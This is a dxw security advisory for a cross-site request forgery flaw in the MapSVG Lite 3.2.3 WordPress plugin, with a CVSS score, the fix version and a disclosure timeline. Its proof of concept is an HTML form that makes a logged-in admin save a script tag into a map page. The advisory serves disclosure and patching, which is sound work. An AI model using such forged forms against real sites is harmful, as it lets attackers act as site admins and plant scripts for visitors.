WordPress MapSVG Lite 3.2.3 Cross Site Request Forgery

`Details  
================  
Software: MapSVG Lite  
Version: 3.2.3  
Homepage: https://en-gb.wordpress.org/plugins/mapsvg-lite-interactive-vector-maps/  
Advisory report: https://advisories.dxw.com/advisories/csrf-mapsvg-lite/  
CVE: Awaiting assignment  
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)  
  
Description  
================  
CSRF in MapSVG Lite could allow an attacker to do almost anything an admin can  
  
Vulnerability  
================  
The plugin uses REST requests to modify post data, and does not check the nonce when doing so.  
  
Proof of concept  
================  
  
Install the plugin on a site at http://localhost/  
Ensure you have page with ID of 2.  
Whilst logged in, visit an html page with this content and submit the form:  
  
<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php?action=mapsvg_save\">  
<input type=\"text\" name=\"data[title]\" value=\"A bad value\">  
<input type=\"text\" name=\"data[mapsvg_data]\" value=\"<script>alert(\'hello\')</script>\">  
<input type=\"text\" name=\"data[map_id]\" value=\"2\">  
<input type=\"submit\">  
</form>  
  
  
Visit the page with ID of 2. It now has title of aA bad valuea and alerts ahelloa on loading.  
  
  
Mitigations  
================  
Upgrade to version 3.3.0 or above.  
  
Disclosure policy  
================  
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://advisories.dxw.com/disclosure/  
  
Please contact us on [email protected] to acknowledge this report if you received it via a third party (for example, [email protected]) as they generally cannot communicate with us on your behalf.  
  
This vulnerability will be published if we do not receive a response to this report with 14 days.  
  
Timeline  
================  
  
2018-04-10: Discovered  
2018-06-15: Author notified via email  
2018-06-15: Author replied, fix to be published in next release  
2019-01-08: Advisory published  
  
  
  
Discovered by dxw:  
================  
Rob Skilling  
Please visit advisories.dxw.com for more information.  
  
  
  
  
`